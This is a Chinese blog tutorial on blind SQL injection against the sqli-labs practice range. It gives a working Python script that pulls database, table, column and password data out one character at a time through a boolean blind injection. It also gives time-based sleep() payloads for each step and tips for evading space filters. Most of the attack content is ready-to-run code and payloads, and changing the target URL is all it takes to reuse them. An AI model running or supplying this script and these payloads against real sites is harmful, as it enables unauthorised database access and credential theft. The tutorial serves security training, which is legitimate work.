布尔盲注
布尔盲注使用场景常见于:
页面存在sql注入漏洞但是不会回显报错信息,会对输入内容的查询结果正确与否有不同的回显
这时就需要根据页面的回显结果判断输入的内容是否正确,这个过程手动操作太过麻烦,还容易出现纰漏,因此用脚本代替手动操作是很好的选择
下面是以sqli-labs靶场中的一些关卡环境进行布尔盲注的代码,根据实际情况替换语句即可
import requests
#url填入sql注入页面网址
url= 'http://127.0.0.1/sqli/Less-5/'
res =""
payload1 ="?id=1'and(ascii(substr((select(database())),{},1))>{})%23" #爆破库名
payload2 ="?id=1'and(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),{},1))>{})%23"#爆破表名
payload3 ="?id=1'and(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users')),{},1))>{})%23" #爆破字段名
payload4 ="?id=1'and(ascii(substr((select(group_concat(password))from(security.users)),{},1))>{})%23" #爆破字段数据
for i in range(1,1000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
#根据上面要执行的操作选择对应的payload
#payload = payload1.format(i,mid)
#payload = payload2.format(i,mid)
payload = payload3.format(i,mid)
#payload = payload4.format(i,mid)
new_url = url + payload
r = requests.get(new_url)
if "You are in..........." in r.text:
#填入查询正确时的回显内容
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 132):
break
res +=chr(mid)
print(res)
print(res)
代码中的查询语句用括号包围,避免了使用空格,可以预防空格被过滤的情况,实用性更强
如果页面对于输入正确错误的回显结果不是有区分度的文字,而是图片之类的格式时,上面的代码就不适用,因为无法获取回显正确时的标志,这时可以利用sqlmap进行自动盲注
时间盲注
当sql注入页面不会回显报错信息,同时对于输入内容的查询结果只会回显一种情况,无法看出是正确还是错误时,就需要用到时间盲注,利用sleep()函数制造时间延迟,由回显时间来判断查询结果是否正确
判断库名长度
//判断库名长度
?id=1' and if(length(database())>8,1,sleep(3))%23
如果if 条件正确,立即回显,条件错误延迟3秒回显
爆破库名
//爆破库名
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3))%23
//判断数据库第一个字母的ascii码是否为115
爆破表名
//爆破表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),z,1))>100,1,sleep(3))%23
//x表示第x+1个表,后面的1表示截取一行,z表示substr()函数截取选中的表中第z个字母,后面的1表示只截取一个单位
例如: 下面是sqli-labs靶场中的security数据库中的所有表名,以sqli-labs第9关环境演示:
重要的数据都在users表中,但是users表在第四行,所以需要把上面的x改为3 变成 limit 3,1
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)))<120,1,sleep(3))%23
实战情况下如果不知道这些信息,只能逐个查询爆破,得到所有表名,再选择其中一个重要的表
爆破字段名
//爆破字段名
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit x,1),z,1)))>100,1,sleep(3))%23
//x表示表中第x+1列字段名 z:substr()函数截取的第x+1列的第z个字母
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))>100,1,sleep(3))%23
爆破字段数据
?id=1' and if((ascii(substr(( select password from security.users limit 0,1),1,1)))>100,1,sleep(3))%23
标签:回显,python,ascii,substr,table,布尔,盲注,id,schema
From: https://blog.csdn.net/weixin_73904941/article/details/143060137